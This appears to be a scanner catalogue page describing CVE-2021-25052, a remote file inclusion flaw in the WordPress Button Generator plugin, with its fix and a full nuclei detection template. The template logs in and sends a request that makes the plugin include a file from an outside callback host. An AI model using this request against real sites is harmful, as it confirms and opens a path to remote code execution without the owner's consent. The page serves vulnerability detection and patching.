WordPress Button Generator <2.3.3 - Remote File Inclusion

highseverity

8.8CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.

Impact

An attacker can exploit this vulnerability to execute arbitrary code on the target system.

Fix

Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25052 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-25052

info:
  name: WordPress Button Generator <2.3.3 - Remote File Inclusion
  author: cckuailong
  severity: high
  description: WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary code on the target system.
  remediation: |
    Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25052
    - https://plugins.trac.wordpress.org/changeset/2641639/button-generation
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25052
    cwe-id: CWE-352
    epss-score: 0.03032
    epss-percentile: 0.87603
    cpe: cpe:2.3:a:wow-company:button_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wow-company
    product: button_generator
    framework: wordpress
  tags: cve2021,cve,wp-plugin,authenticated,wpscan,rfi,wp,wordpress,wow-company,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        name: "http"
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from